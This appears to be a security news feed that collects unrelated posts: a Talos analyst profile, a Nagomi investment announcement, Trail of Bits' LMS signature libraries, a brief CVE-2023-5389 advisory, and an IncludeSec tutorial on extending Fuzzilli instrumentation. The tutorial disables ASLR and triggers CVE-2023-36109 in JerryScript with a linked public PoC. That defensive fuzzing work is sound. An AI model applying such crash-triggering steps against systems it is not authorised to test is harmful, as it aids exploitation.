“With my academic background, I’m very inquisitive. That’s proven to be a good asset,” he said. “I have a good understanding of the content and presentation of intelligence sought after in security management and operations. It’s great providing this intelligence, but providing actionable intelligence for security teams, understanding what’s required for that, it’s integral for many of the products we produce.” 

Recently, Nutland says he’s been focusing more on tracking prominent and burgeoning ransomware threat actors, as well as researching dark web activities where threat actors are leveraging obfuscated channels for their communication. Social media sites have gotten better about blocking this type of activity, he said, which has pushed them to decentralized communication platforms. He’s also tracking dark web sites that are used for obtaining ransom payments, spreading propaganda and trying to radicalize other users. 

Nutland’s work has also been crucial in Talos’ support of Ukraine during Russia’s invasion. He worked on several victim notifications for the Ukraine Task Force and discovered the malicious use of a defense evasion tool, which can wipe traces and logs of any USB devices that may have been connected to hardware and certain user activity on the host.  

“I initially saw a suspicious specific set of commands that were being run related to the executable, that I was able to track across multiple potential Ukrainian victims which Ukrainian organizations are now looking to crack down on,” Nutland said. 

In all his roles so far in his career, Nutland said he’s experienced various forms of imposter syndrome throughout his career, as many do. He said he often found himself questioning decisions, or feeling like other teammates were more qualified for his role. But at Talos, his managers have encouraged him to turn over every rock and go into every situation, curious and open. That’s allowed him to overcome that imposter syndrome and become a sponge, learning everything he could about a particular topic and becoming an expert in his own right. 

This culminated in a presentation to more than 300 people at the MITRE ATT&CKcon 4.0 in October, where he and his teammate, Nicole Hoffman, gave a talk about how threat actors can use the ATT&CK framework to track adversary activity. 

“Here are these titans of threat intelligence at a world-renowned convention. And here’s me, recently employed at Talos, and with incredible imposter syndrome,” Nutland said. “But there were about 300 people in the room, and Nicole and I knocked it out of the park. I never thought I’d be doing that.” 

Outside of the office, Nutland enjoys playing rugby, and he even was recently able to play a scrimmage against the Colombian National Team, a particular highlight for his career outside of cybersecurity. 

Falcon Fund in Focus: Nagomi Helps Customers Maximize Their Cybersecurity Investments

24 April 2024 at 14:51

Preventable breaches are a common problem. According to research by Nagomi, a leader in the nascent field of automated security control assessment, 80% of breached organizations already had a tool in place that could have prevented it. 

One solution is to maximize the use of security tools they already have. Many enterprises grapple with ineffective and reactive security operations, worsened by using multiple disparate security products. Tools are purchased but not fully deployed, ROI is never realized and teams are stuck in a constant state of reacting to alerts rather than making progress.

“I don’t need more tools … I need to find a way to deploy the tools I already have more effectively,” one CISO told Nagomi. “This is why I don’t sleep at night … I have no way of knowing my security stack’s effectiveness.”

Facing increasingly fast and stealthy threat actors, CISOs need to know their security investments are effective against evolving threats. This is where Nagomi adds tremendous value. And with support from the CrowdStrike Falcon Fund, they are changing the way security teams balance risk and defense.  

Falcon Fund Invests in Nagomi

Falcon Fund has invested in Nagomi to help organizations boost the effectiveness of their existing security tools. Falcon Fund, an investment fund managed by CrowdStrike in partnership with Accel, is focused on global, cross-stage investments in companies that provide differentiated capabilities to joint customers.

Nagomi, formerly known as Vena Security and founded in January 2023, offers a proactive defense platform that enables customers to better use their security stacks to defend against current and emerging threats in the wild. Nagomi transforms fragmented best-of-breed solutions into best-of-suite security for customers by providing end-to-end visibility of defense capabilities mapped against MITRE ATT&CK®. With this information, security teams can prioritize the most urgent risks based on their unique threat profile and get prescriptive remediation plans to reduce threat exposure.

Nagomi is quickly innovating to deliver a threat-centered, data-driven and actionable approach to cybersecurity — one that enables customers to provide high-level security maturity metrics to executives while showing security practitioners exactly how to reduce risk, fix misconfigurations and make strategic decisions with business context.

Nagomi’s early success proves the value of its proactive approach to security. Within six months of launching, Nagomi was successfully deployed by Fortune 500 customers and has seen significant adoption in some of the world’s most complex security environments. 

How the Integration Works

Nagomi helps CrowdStrike customers get the most from their CrowdStrike Falcon® deployment by monitoring for configuration gaps and testing for attacks across their IT infrastructure as well as other security tools. Nagomi’s proactive defense platform uses CrowdStrike’s modern cloud architecture to ingest detections, host details and policy settings to map the deployment of CrowdStrike Falcon sensors. Nagomi then tests adversary tactics, techniques and procedures (TTPs) against the mapped deployment to recommend configuration policy changes.

The integration provides CrowdStrike customers with:

  • Proactive risk management: Continuously analyze threats and corresponding defenses to identify gaps and remediation opportunities to prevent exploitation.
  • Actionable defense plans: Pinpoint risk and modify configuration settings based on vulnerability to adversary TTPs.
  • Clear communication: Share the current state of risk with peers and leadership using evidence-based data that considers business limitations and constraints.

Visit the CrowdStrike Marketplace to request the Nagomi integration and learn more.

Additional Resources

Announcing two new LMS libraries

26 April 2024 at 13:00

By Will Song

The Trail of Bits cryptography team is pleased to announce the open-sourcing of our pure Rust and Go implementations of Leighton-Micali Hash-Based Signatures (LMS), a well-studied NIST-standardized post-quantum digital signature algorithm. If you or your organization are looking to transition to post-quantum support for digital signatures, both of these implementations have been engineered and reviewed by several of our cryptographers, so please give them a try!

For the Rust codebase, we’ve worked with the RustCrypto team to integrate our implementation into the RustCrypto/signatures repository so that it can immediately be used with their ecosystem once the crate is published.

Our Go implementation was funded by Hewlett Packard Enterprise (HPE), as part of a larger post-quantum readiness effort within the Sigstore ecosystem. We’d like to thank HPE and Tim Pletcher in particular for supporting and collaborating on this high-impact work!

LMS: A stateful post-quantum signature scheme

LMS is a stateful hash-based signature scheme that was standardized in 2019 with RFC 8554 and subsequently adopted into the federal information processing standards in 2020. These algorithms are carefully designed to resist quantum computer attacks, which could threaten conventional algebraic signature schemes like RSA and ECDSA. Unlike other post-quantum signature designs, LMS was standardized before NIST’s large post-quantum cryptography standardization program was completed. LMS has been studied for years and its security bounds are well understood, so it was not surprising that these schemes were selected and standardized in a relatively short time frame (at least compared to the other standards).

Like other post-quantum signature schemes, LMS is a hash-based scheme, relying only on the security of a collision-resistant hash function such as SHA256. Hash-based signature schemes have much longer signatures than lattice-based signature schemes, which were recently standardized by NIST, but they are simpler to implement and require fewer novel cryptographic assumptions. This is the primary reason we chose to develop hash-based signatures first.

Unlike any signature algorithm in common usage today, LMS is a stateful scheme. The signer must track how many messages have been signed with a key, incrementing the counter with each new signature. If the private key is used more than once with the same counter value, an attacker can combine the two signatures to forge signatures on new messages. This is analogous to a nonce-reuse attack in encryption schemes like AES-GCM.

If it’s not immediately obvious, requiring this state also severely limits these schemes’ usability and security. For instance, this makes storing your private key (and its state) to some sort of persisted storage (which is usually typical for secret keys) incredibly risky, as this introduces the possibility of an old state being reused, especially for multi-threaded applications. This is why NIST makes the following warning in their standard:

Stateful hash-based signature schemes are secure against the development of quantum computers, but they are not suitable for general use because their security depends on careful state management. They are most appropriate for applications in which the use of the private key may be carefully controlled and where there is a need to transition to a post-quantum secure digital signature scheme before the post-quantum cryptography standardization process has completed.

The main benefit of a stateful algorithm like LMS over a stateless hash-based signature like SLH-DSA (SPHINCS+) is significantly shorter signature sizes: a signature with LMS is around 4KB, while a signature with SLH-DSA at a similar security level is closer to 40KB. The downside is that stateful schemes like LMS cannot easily be plugged into existing applications. Managing the private state in a signature scheme makes integration into higher-level applications complex and prone to subtle and dangerous security flaws. However, a carefully managed environment for code signing is an excellent place to test stateful post quantum signatures in the real world, and we feel that Sigstore effectively meets the NIST requirement.

RustCrypto implementation

Our Rust implementation is no-std capable and does not require heap allocations, in addition to being fully compatible with the currently available digest and signature crates. In particular, we implement the SignerMut and Verifier traits on private and public keys, respectively.

The goal of our work is to provide a more strongly typed alternative to the pre-existing implementation while also not over-allocating memory. While ArrayVec is a suitable alternative to the headaches caused by generics and GenericArray, at the cost of slightly higher memory requirements in certain cases of signatures, it does introduce an additional crate dependency that did not previously exist, which we wanted to avoid. Currently, in our implementation, both signatures and keys must know their LMS parameters before being able to deserialize and verify signatures. This should be sufficient for most use cases, but if unknown parameters must be used, it is not too difficult to hack together an enum that covers all potential algorithm types and uses the correct TryFrom implementation once the algorithm type is parsed.

Go implementation

Our Go implementation, on the other hand, is less picky. We were asked to build an LMS implementation for Sigstore, which is a more controlled environment and does not have the same restrictions that the general RustCrypto implementation assumes. Because of this, our implementation uses some small heap allocations to keep track of some variable length data, such as the number of hashes in a private key. Go is a less-clever language than Rust, which means we cannot really parameterize it over the various LMS modes, so some additional work needs to be done at a few call sites to re-specify the LMS parameters.

More post-quantum engineering is coming soon!

Like the rest of the world, we are still in the early days of post-quantum cryptography development and deployment. We’re always exploring opportunities to help teams adopt more secure cryptography, with or without the threat of quantum computers in the mix.

Our cryptography team is currently working on another post-quantum standard in Rust, so look out for another open-source codebase soon! If your team needs a post-quantum cryptography (or any other cryptographic library that is not widely supported in the open-source community) module tailored to your exact needs, contact us!

Our team is well-equipped to design and build a codebase incorporating all of your design requirements, with ownership transferred over to you at the end of the project. We will even perform an internal code audit of the same quality we give standard secure code reviews. Get in touch with our sales team to start your next project with Trail of Bits.

CVE-2023-5389

25 April 2024 at 16:15

CWE-749: Exposed Dangerous Method or Function

Successful exploitation of this vulnerability could allow an attacker to modify files on Experion controllers or SMSC S300. This exploit could be used to write a file that may result in unexpected behavior based on configuration changes or updating of files that could result in subsequent execution of a malicious application if triggered.

Coverage Guided Fuzzing – Extending Instrumentation to Hunt Down Bugs Faster!

We at IncludeSec sometimes have the need to develop fuzzing harnesses for our clients as part of our security assessment and pentesting work. Using fuzzing in an assessment methodology can uncover vulnerabilities in modern and complex software during security assessments by providing a faster way to submit highly structured inputs to the applications. This technique is usually applied when a more comprehensive effort beyond manual and traditional automated testing are requested by our clients to provide an additional analysis to uncover more esoteric vulnerabilities.

Introduction

Coverage-guided fuzzing is a useful capability in advanced fuzzers (AFL, libFuzzer, Fuzzilli, and others). This capability permits the fuzzer to acknowledge if an input can discover new edges or branches in the binary execution paths. An edge links two branches in a control flow graph (CFG). For instance, if a logical condition involves an if-else statement, there would be two edges, one for the if and the other for the else statement. It is a significant part of the fuzzing process, helping determine if the target program’s executable code is effectively covered by the fuzzer.

A guided fuzzing process usually utilizes a coverage-guided fuzzing (CGF) technique, employing very basic instrumentation to collect data needed to identify if a new edge or coverage block is hit during the execution of a fuzz test case. The instrumentation is code added during the compilation process, utilized for a number of reasons, including software debugging which is how we will use it in this post.

However, CGF instrumentation techniques can be extended, such as by adding new metrics, as demonstrated in this paper [1], where the authors consider not only the edge count but when there is a security impact too. Generally, extending instrumentation is useful to retrieve more information from the target programs.

In this post, we modify the Fuzzilli patch for the software JerryScript. JerryScript has a known and publicly available vulnerability/exploit, that we can use to show how extending Fuzzilli’s instrumentation could be helpful for more easily identifying vulnerabilities and providing more useful feedback to the fuzzer for further testing. Our aim is to demonstrate how we can modify the instrumentation and extract useful data for the fuzzing process.

[1] (Not All Coverage Measurements Are Equal: Fuzzing by Coverage Accounting for Input Prioritization – NDSS Symposium (ndss-symposium.org)

Fuzzing

Fuzzing is the process of submitting random inputs to trigger an unexpected behavior from the application. In recent approaches, the fuzzers consider various aspects of the target application for generating inputs, including the seeds – sources for generating the inputs. Since modern software has complex structures, we can not reach satisfactory results using simple inputs. In other words, by not affecting most of the target program it will be difficult to discover new vulnerabilities.

The diagram below shows an essential structure for a fuzzer with mutation strategy and code coverage capability.

  1. Seeds are selected;
  2. The mutation process takes the seeds to originate inputs for the execution;
  3. The execution happens;
  4. A vulnerability can occur or;
  5. The input hits a new edge in the target application; the fuzzer keeps mutating the same seed or; 
  6. The input does not hit new edges, and the fuzzer selects a new seed for mutation.

The code coverage is helpful to identify if the input can reach different parts of the target program by pointing to the fuzzer that a new edge or block was found during the execution.

CLANG

Clang [Clang]  is a compiler for the C, C++, Objective-C, and Objective-C++ programming languages. It is part of the LLVM project and offers advantages over traditional compilers like GCC (GNU Compiler Collection), including more expressive diagnostics, faster compilation times, and extensive analysis support. 

One significant tool within the Clang compiler is the sanitizer. Sanitizers are security libraries or tools that can detect bugs and vulnerabilities automatically by instrumenting the code. The compiler checks the compiled code for security implications when the sanitizer is enabled.

There are a few types of sanitizers in this context:

  • AddressSanitizer (ASAN): This tool detects memory errors, including vulnerabilities like buffer overflows, use-after-free, double-free, and memory leaks.
  • UndefinedBehaviorSanitizer (UBSAN): Identifies undefined behavior in C/C++ code such as integer overflow, division by zero, null pointer dereferences, and others.
  • MemorySanitizer (MSAN): Detected uninitialized memory reads in C/C++ programs that can lead to unpredictable behavior.
  • ThreadSanitizer (TSAN): Detects uninitialized data races and deadlocks in multithreads C/C++ applications.
  • LeakSanitizer (LSAN): This sanitizer is integrated with AddressSanitizer and helps detect memory leaks, ensuring that all allocated memory is being freed. 

The LLVM documentation (SanitizerCoverage — Clang 19.0.0git documentation (llvm.org)) provides a few examples of what to do with the tool. The shell snippet below shows the command line for the compilation using the ASAN option to trace the program counter.

$ clang -o targetprogram -g -fsanitize=address -fsanitize-coverage=trace-pc-guard targetprogram.c

From clang documentation:

LLVM has a simple code coverage instrumentation built in (SanitizerCoverage). It inserts calls to user-defined functions on function-, basic-block-, and edge- levels. Default implementations of those callbacks are provided and implement simple coverage reporting and visualization, however if you need just coverage visualization you may want to use SourceBasedCodeCoverage instead.”

For example, code coverage in Fuzzilli (googleprojectzero/fuzzilli: A JavaScript Engine Fuzzer (github.com)), Google’s state-of-the-art JavaScript engine fuzzer, utilizes simple instrumentation to respond to Fuzzilli’s process, as demonstrated in the code snippet below.

extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;
    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

The function __sanitizer_cov_trace_pc_guard() will consistently execute when a new edge is found, so no condition is necessary to interpret the new edge discovery. Then, the function changes a bit in the shared bitmap __shmem->edges to 1 (bitwise OR), and then Fuzzilli analyzes the bitmap after execution.

Other tools, like LLVM-COV (llvm-cov – emit coverage information — LLVM 19.0.0git documentation), capture code coverage information statically, providing a human-readable document after execution; however, fuzzers need to be efficient, and reading documents in the disk would affect the performance.

Getting More Information

We can modify Fuzzilli’s instrumentation and observe other resources that __sanitizer_cov_trace_pc_guard() can bring to the code coverage. The code snippet below demonstrates the Fuzzilli instrumentation with a few tweaks.

extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;

    void *PC = __builtin_return_address(0);
    char PcDescr[1024];

    __sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
    printf("guard: %p %x PC %s\n", guard, *guard, PcDescr);

    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

We already know that the function __sanitizer_cov_trace_pc_guard() is executed every time the instrumented program hits a new edge. In this case, we are utilizing the function __builtin_return_address() to collect the return addresses from every new edge hit in the target program. Now, the pointer PC has the return address information. We can utilize the __sanitizer_symbolize_pc() function to correlate the address to the symbols, providing more information about the source code file used during the execution.

Most fuzzers use only the edge information to guide the fuzzing process. However, as we will demonstrate in the next section, using the sanitizer interface can provide compelling information for security assessments.

Lab Exercise

In our laboratory, we will utilize another JavaScript engine. In this case, an old version of JerryScript JavaScript engine to create an environment.

  • Operating System (OS): Ubuntu 22.04
  • Target Program: JerryScript 
  • Vulnerability: CVE-2023-36109

Setting Up the Environment

You can build JerryScript using the following instructions.

First, clone the repository:

$ git clone https://github.com/jerryscript-project/jerryscript.git

Enter into the JerryScript folder and checkout the 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc commit.

$ git checkout 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc

Fuzzilli utilizes the head 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc for the instrumentation, and we can take advantage of the configuration done for our lab. Apply the patch available in the Fuzziilli’s repository (fuzzilli/Targets/Jerryscript/Patches/jerryscript.patch at main · googleprojectzero/fuzzilli (github.com))

$ cd jerry-main
$ wget https://github.com/googleprojectzero/fuzzilli/raw/main/Targets/Jerryscript/Patches/jerryscript.patch
$ patch < jerryscript.patch
patching file CMakeLists.txt
patching file main-fuzzilli.c
patching file main-fuzzilli.h
patching file main-options.c
patching file main-options.h
patching file main-unix.c

The instrumented file is jerry-main/main-fuzzilli.c, provided by the Fuzzilli’s patch.  It comes with the necessary to work with simple code coverage capabilities. Still, we want more, so we can use the same lines we demonstrated in the previous section to update the function __sanitizer_cov_trace_pc_guard() before the compilation. Also, adding the following header to jerry-main/main-fuzzilli.c file:

#include <sanitizer/common_interface_defs.h>

The file header describes the __sanitizer_symbolize_pc() function, which will be needed in our implementation. We will modify the function in the jerry-main/main-fuzzilli.c file.

void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;
    if(!index) return;
    index--;

    void *PC = __builtin_return_address(0);
    char PcDescr[1024];

    __sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
    printf("guard: %p %x PC %s\n", (void *)guard, *guard, PcDescr);
    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

We now change the compilation configuration and disable the strip. The symbols are only needed to identify the possible vulnerable functions for our demonstration.

In the root folder CMakeLists.txt file

# Strip binary
if(ENABLE_STRIP AND NOT CMAKE_BUILD_TYPE STREQUAL "Debug")
  jerry_add_link_flags(-g)
endif()

It defaults with the -s option; change to -g to keep the symbols. Make sure that jerry-main/CMakeLists.txt contains the main-fuzzilli.c file, and then we are ready to compile. We can then build it using the Fuzzilli instructions.

$ python jerryscript/tools/build.py --compile-flag=-fsanitize-coverage=trace-pc-guard --profile=es2015-subset --lto=off --compile-flag=-D_POSIX_C_SOURCE=200809 --compile-flag=-Wno-strict-prototypes --stack-limit=15

If you have installed Clang, but the output line CMAKE_C_COMPILER_ID is displaying GNU or something else, you will have errors during the building.

$ python tools/build.py --compile-flag=-fsanitize-coverage=trace-pc-guard --profile=es2015-subset --lto=off --compile-flag=-D_POSIX_C_SOURCE=200809 --compile-flag=-Wno-strict-prototypes --stack-limit=15
-- CMAKE_BUILD_TYPE               MinSizeRel
-- CMAKE_C_COMPILER_ID            GNU
-- CMAKE_SYSTEM_NAME              Linux
-- CMAKE_SYSTEM_PROCESSOR         x86_64

You can simply change the CMakeLists.txt file, lines 28-42 to enforce Clang instead of GNU by modifying USING_GCC 1 to USING_CLANG 1, as shown below:

# Determining compiler
if(CMAKE_C_COMPILER_ID MATCHES "GNU")
  set(USING_CLANG 1)
endif()

if(CMAKE_C_COMPILER_ID MATCHES "Clang")
  set(USING_CLANG 1)
endif()

The instrumented binary will be the build/bin/jerry file.

Execution

Let’s start by disabling ASLR (Address Space Layout Randomization).

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

After testing, we can re-enable the ASLR by setting the value to 2.

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

We want to track the address to the source code file, and disabling the ASLR will help us stay aware during the analysis and not affect our results. The ASLR will not impact our lab, but keeping the addresses fixed during the fuzzing process will be fundamental.

Now, we can execute JerryScript using the PoC file for the vulnerability CVE-2023-36109 (Limesss/CVE-2023-36109: a poc for cve-2023-36109 (github.com)), as an argument to trigger the vulnerability. As described in the vulnerability description, the vulnerable function is at ecma_stringbuilder_append_raw in jerry-core/ecma/base/ecma-helpers-string.c, highlighted in the command snippet below. 

$ ./build/bin/jerry ./poc.js
[...]
guard: 0x55e17d12ac88 7bb PC 0x55e17d07ac6b in ecma_string_get_ascii_size ecma-helpers-string.c
guard: 0x55e17d12ac84 7ba PC 0x55e17d07acfe in ecma_string_get_ascii_size ecma-helpers-string.c
guard: 0x55e17d12ac94 7be PC 0x55e17d07ad46 in ecma_string_get_size (/jerryscript/build/bin/jerry+0x44d46) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e87c 16b8 PC 0x55e17d09dfe1 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x67fe1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12ae04 81a PC 0x55e17d07bb64 in ecma_stringbuilder_append_raw (/jerryscript/build/bin/jerry+0x45b64) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e890 16bd PC 0x55e17d09e053 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x68053) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e8b8 16c7 PC 0x55e17d09e0f1 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x680f1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d133508 29db PC 0x55e17d0cc292 in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x96292) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d133528 29e3 PC 0x55e17d0cc5bd in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x965bd) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f078 18b7 PC 0x55e17d040a78 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaa78) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f088 18bb PC 0x55e17d040ab4 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaab4) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f08c 18bc PC 0x55e17d040c26 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xac26) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f094 18be PC 0x55e17d040ca3 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaca3) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==27636==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x55e27da7950c (pc 0x7fe341fa092b bp 0x000000000000 sp 0x7ffc77634f18 T27636)
==27636==The signal is caused by a READ memory access.
    #0 0x7fe341fa092b  string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513
    #1 0x55e17d0cc3bb in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x963bb) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #2 0x55e17d09e103 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x68103) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #3 0x55e17d084a23 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4ea23) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #4 0x55e17d090ddc in ecma_op_function_call_native ecma-function-object.c
    #5 0x55e17d0909c1 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a9c1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #6 0x55e17d0d4743 in ecma_builtin_string_prototype_object_replace_helper ecma-builtin-string-prototype.c
    #7 0x55e17d084a23 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4ea23) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #8 0x55e17d090ddc in ecma_op_function_call_native ecma-function-object.c
    #9 0x55e17d0909c1 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a9c1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #10 0x55e17d0b929f in vm_execute (/jerryscript/build/bin/jerry+0x8329f) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #11 0x55e17d0b8d4a in vm_run (/jerryscript/build/bin/jerry+0x82d4a) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #12 0x55e17d0b8dd0 in vm_run_global (/jerryscript/build/bin/jerry+0x82dd0) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #13 0x55e17d06d4a5 in jerry_run (/jerryscript/build/bin/jerry+0x374a5) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #14 0x55e17d069e32 in main (/jerryscript/build/bin/jerry+0x33e32) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #15 0x7fe341e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7fe341e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x55e17d0412d4 in _start (/jerryscript/build/bin/jerry+0xb2d4) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513 
==27636==ABORTING

Using this technique, we could identify the root cause of the vulnerability in the function ecma_stringbuilder_append_raw() address in the stack trace. 

However, if we rely only on the sanitizer to check the stack trace, we won’t be able to see the vulnerable function name in our output:

$ ./build/bin/jerry ./poc.js 
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 14587 edges
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==54331==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x5622ae01350c (pc 0x7fc1925a092b bp 0x000000000000 sp 0x7ffed516b838 T54331)
==54331==The signal is caused by a READ memory access.
    #0 0x7fc1925a092b  string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513
    #1 0x5621ad66636b in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x9636b) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #2 0x5621ad6380b3 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x680b3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #3 0x5621ad61e9d3 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4e9d3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #4 0x5621ad62ad8c in ecma_op_function_call_native ecma-function-object.c
    #5 0x5621ad62a971 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a971) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #6 0x5621ad66e6f3 in ecma_builtin_string_prototype_object_replace_helper ecma-builtin-string-prototype.c
    #7 0x5621ad61e9d3 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4e9d3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #8 0x5621ad62ad8c in ecma_op_function_call_native ecma-function-object.c
    #9 0x5621ad62a971 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a971) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #10 0x5621ad65324f in vm_execute (/jerryscript/build/bin/jerry+0x8324f) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #11 0x5621ad652cfa in vm_run (/jerryscript/build/bin/jerry+0x82cfa) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #12 0x5621ad652d80 in vm_run_global (/jerryscript/build/bin/jerry+0x82d80) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #13 0x5621ad607455 in jerry_run (/jerryscript/build/bin/jerry+0x37455) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #14 0x5621ad603e32 in main (/jerryscript/build/bin/jerry+0x33e32) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #15 0x7fc192429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7fc192429e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x5621ad5db2d4 in _start (/jerryscript/build/bin/jerry+0xb2d4) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)

UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513 
==54331==ABORTING

This behavior happens because the vulnerability occurs far from the last execution in the program. Usually, the primary action would be debugging to identify the address of the vulnerable function in memory. 

Additional Considerations

The vulnerable address or address space could be used as a guide during fuzzing. We can then compare the PC to the specific address space and instruct the fuzzer to focus on a path by mutating the same input in an attempt to cause other vulnerabilities in the same function or file.
For example, we can also feed data related to historical vulnerability identification, correlate dangerous files to their address space in a specific project and include them into the instrumentation, and give feedback to the fuzzer to achieve a more focused fuzzing campaign.

We do not necessarily need to use __sanitizer_symbolize_pc for the fuzzing process; this is done only to demonstrate the function and file utilized by each address. Our methodology would only require void *PC = __builtin_return_address(0). The PC will point to the current PC address in the execution, which is the only information needed for the comparison and guiding process.

As we demonstrated above, we can retrieve more information about the stack trace and identify vulnerable execution paths. So, let’s look at Fuzzilli’s basic algorithm, described in their NDSS paper.

In line 12, it is defined that if a new edge is found, the JavaScript code is converted back to its Intermediate Language (IL) (line 13), and the input is added to the corpus for further mutations in line 14.

What can we change to improve the algorithm? Since we have more information about historical vulnerability identification and stack traces, I think that’s a good exercise for the readers.

Conclusion

We demonstrated that we can track the real-time stack trace of a target program by extending Fuzzilli’s instrumentation. By having better visibility into the return address information and its associated source code files, it’s easier to supply the fuzzer with additional paths that can produce interesting results.

Ultimately, this instrumentation technique can be applied to any fuzzer that can take advantage of code coverage capabilities. We intend to use this modified instrumentation output technique in a part 2 blog post at a later date, showing how it can be used to direct the fuzzer to potentially interesting execution paths.

The post Coverage Guided Fuzzing – Extending Instrumentation to Hunt Down Bugs Faster! appeared first on Include Security Research Blog.

❌
❌